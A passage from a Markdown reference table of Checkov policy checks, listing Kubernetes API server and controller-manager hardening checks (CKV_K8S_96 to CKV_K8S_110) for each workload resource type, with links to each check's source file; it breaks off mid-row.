|\n| 573 | CKV_K8S_96  | resource | DeploymentConfig       | Ensure that the --service-account-lookup argument is set to true                                                                                                                               | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                         |\n| 574 | CKV_K8S_96  | resource | Job                    | Ensure that the --service-account-lookup argument is set to true                                                                                                                               | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                         |\n| 575 | CKV_K8S_96  | resource | Pod                    | Ensure that the --service-account-lookup argument is set to true                                                                                                                               | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                         |\n| 576 | CKV_K8S_96  | resource | PodTemplate            | Ensure that the --service-account-lookup argument is set to true                                                                                                                               | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                         |\n| 577 | CKV_K8S_96  | resource | ReplicaSet             | Ensure that the --service-account-lookup argument is set to true                                                                                                                               | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                         |\n| 578 | CKV_K8S_96  | resource | ReplicationController  | Ensure that the --service-account-lookup argument is set to true                                                                                                                               | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                         |\n| 579 | CKV_K8S_96  | resource | StatefulSet            | Ensure that the --service-account-lookup argument is set to true                                                                                                                               | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                         |\n| 580 | CKV_K8S_97  | resource | CronJob                | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                      | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                       |\n| 581 | CKV_K8S_97  | resource | DaemonSet              | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                      | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                       |\n| 582 | CKV_K8S_97  | resource | Deployment             | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                      | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                       |\n| 583 | CKV_K8S_97  | resource | DeploymentConfig       | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                      | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                       |\n| 584 | CKV_K8S_97  | resource | Job                    | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                      | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                       |\n| 585 | CKV_K8S_97  | resource | Pod                    | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                      | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                       |\n| 586 | CKV_K8S_97  | resource | PodTemplate            | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                      | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                       |\n| 587 | CKV_K8S_97  | resource | ReplicaSet             | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                      | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                       |\n| 588 | CKV_K8S_97  | resource | ReplicationController  | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                      | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                       |\n| 589 | CKV_K8S_97  | resource | StatefulSet            | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                      | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                       |\n| 590 | CKV_K8S_99  | resource | CronJob                | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                            | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                     |\n| 591 | CKV_K8S_99  | resource | DaemonSet              | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                            | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                     |\n| 592 | CKV_K8S_99  | resource | Deployment             | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                            | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                     |\n| 593 | CKV_K8S_99  | resource | DeploymentConfig       | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                            | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                     |\n| 594 | CKV_K8S_99  | resource | Job                    | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                            | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                     |\n| 595 | CKV_K8S_99  | resource | Pod                    | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                            | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                     |\n| 596 | CKV_K8S_99  | resource | PodTemplate            | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                            | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                     |\n| 597 | CKV_K8S_99  | resource | ReplicaSet             | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                            | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                     |\n| 598 | CKV_K8S_99  | resource | ReplicationController  | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                            | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                     |\n| 599 | CKV_K8S_99  | resource | StatefulSet            | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                            | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                     |\n| 600 | CKV_K8S_100 | resource | CronJob                | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                       |\n| 601 | CKV_K8S_100 | resource | DaemonSet              | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                       |\n| 602 | CKV_K8S_100 | resource | Deployment             | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                       |\n| 603 | CKV_K8S_100 | resource | DeploymentConfig       | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                       |\n| 604 | CKV_K8S_100 | resource | Job                    | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                       |\n| 605 | CKV_K8S_100 | resource | Pod                    | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                       |\n| 606 | CKV_K8S_100 | resource | PodTemplate            | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                       |\n| 607 | CKV_K8S_100 | resource | ReplicaSet             | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                       |\n| 608 | CKV_K8S_100 | resource | ReplicationController  | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                       |\n| 609 | CKV_K8S_100 | resource | StatefulSet            | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                       |\n| 610 | CKV_K8S_102 | resource | CronJob                | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                   | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                             |\n| 611 | CKV_K8S_102 | resource | DaemonSet              | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                   | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                             |\n| 612 | CKV_K8S_102 | resource | Deployment             | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                   | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                             |\n| 613 | CKV_K8S_102 | resource | DeploymentConfig       | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                   | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                             |\n| 614 | CKV_K8S_102 | resource | Job                    | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                   | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                             |\n| 615 | CKV_K8S_102 | resource | Pod                    | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                   | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                             |\n| 616 | CKV_K8S_102 | resource | PodTemplate            | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                   | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                             |\n| 617 | CKV_K8S_102 | resource | ReplicaSet             | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                   | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                             |\n| 618 | CKV_K8S_102 | resource | ReplicationController  | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                   | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                             |\n| 619 | CKV_K8S_102 | resource | StatefulSet            | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                   | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                             |\n| 620 | CKV_K8S_104 | resource | CronJob                | Ensure that encryption providers are appropriately configured                                                                                                                                  | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                           |\n| 621 | CKV_K8S_104 | resource | DaemonSet              | Ensure that encryption providers are appropriately configured                                                                                                                                  | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                           |\n| 622 | CKV_K8S_104 | resource | Deployment             | Ensure that encryption providers are appropriately configured                                                                                                                                  | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                           |\n| 623 | CKV_K8S_104 | resource | DeploymentConfig       | Ensure that encryption providers are appropriately configured                                                                                                                                  | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                           |\n| 624 | CKV_K8S_104 | resource | Job                    | Ensure that encryption providers are appropriately configured                                                                                                                                  | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                           |\n| 625 | CKV_K8S_104 | resource | Pod                    | Ensure that encryption providers are appropriately configured                                                                                                                                  | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                           |\n| 626 | CKV_K8S_104 | resource | PodTemplate            | Ensure that encryption providers are appropriately configured                                                                                                                                  | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                           |\n| 627 | CKV_K8S_104 | resource | ReplicaSet             | Ensure that encryption providers are appropriately configured                                                                                                                                  | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                           |\n| 628 | CKV_K8S_104 | resource | ReplicationController  | Ensure that encryption providers are appropriately configured                                                                                                                                  | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                           |\n| 629 | CKV_K8S_104 | resource | StatefulSet            | Ensure that encryption providers are appropriately configured                                                                                                                                  | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                           |\n| 630 | CKV_K8S_105 | resource | CronJob                | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                      | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                             |\n| 631 | CKV_K8S_105 | resource | DaemonSet              | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                      | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                             |\n| 632 | CKV_K8S_105 | resource | Deployment             | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                      | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                             |\n| 633 | CKV_K8S_105 | resource | DeploymentConfig       | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                      | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                             |\n| 634 | CKV_K8S_105 | resource | Job                    | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                      | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                             |\n| 635 | CKV_K8S_105 | resource | Pod                    | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                      | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                             |\n| 636 | CKV_K8S_105 | resource | PodTemplate            | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                      | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                             |\n| 637 | CKV_K8S_105 | resource | ReplicaSet             | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                      | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                             |\n| 638 | CKV_K8S_105 | resource | ReplicationController  | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                      | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                             |\n| 639 | CKV_K8S_105 | resource | StatefulSet            | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                      | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                             |\n| 640 | CKV_K8S_106 | resource | CronJob                | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                   | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                             |\n| 641 | CKV_K8S_106 | resource | DaemonSet              | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                   | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                             |\n| 642 | CKV_K8S_106 | resource | Deployment             | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                   | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                             |\n| 643 | CKV_K8S_106 | resource | DeploymentConfig       | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                   | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                             |\n| 644 | CKV_K8S_106 | resource | Job                    | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                   | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                             |\n| 645 | CKV_K8S_106 | resource | Pod                    | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                   | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                             |\n| 646 | CKV_K8S_106 | resource | PodTemplate            | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                   | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                             |\n| 647 | CKV_K8S_106 | resource | ReplicaSet             | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                   | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                             |\n| 648 | CKV_K8S_106 | resource | ReplicationController  | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                   | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                             |\n| 649 | CKV_K8S_106 | resource | StatefulSet            | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                   | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                             |\n| 650 | CKV_K8S_107 | resource | CronJob                | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                               |\n| 651 | CKV_K8S_107 | resource | DaemonSet              | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                               |\n| 652 | CKV_K8S_107 | resource | Deployment             | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                               |\n| 653 | CKV_K8S_107 | resource | DeploymentConfig       | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                               |\n| 654 | CKV_K8S_107 | resource | Job                    | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                               |\n| 655 | CKV_K8S_107 | resource | Pod                    | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                               |\n| 656 | CKV_K8S_107 | resource | PodTemplate            | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                               |\n| 657 | CKV_K8S_107 | resource | ReplicaSet             | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                               |\n| 658 | CKV_K8S_107 | resource | ReplicationController  | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                               |\n| 659 | CKV_K8S_107 | resource | StatefulSet            | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                               |\n| 660 | CKV_K8S_108 | resource | CronJob                | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                      | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)       |\n| 661 | CKV_K8S_108 | resource | DaemonSet              | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                      | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)       |\n| 662 | CKV_K8S_108 | resource | Deployment             | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                      | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)       |\n| 663 | CKV_K8S_108 | resource | DeploymentConfig       | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                      | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)       |\n| 664 | CKV_K8S_108 | resource | Job                    | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                      | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)       |\n| 665 | CKV_K8S_108 | resource | Pod                    | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                      | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)       |\n| 666 | CKV_K8S_108 | resource | PodTemplate            | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                      | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)       |\n| 667 | CKV_K8S_108 | resource | ReplicaSet             | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                      | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)       |\n| 668 | CKV_K8S_108 | resource | ReplicationController  | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                      | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)       |\n| 669 | CKV_K8S_108 | resource | StatefulSet            | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                      | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)       |\n| 670 | CKV_K8S_110 | resource | CronJob                | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                              | Kubernetes | 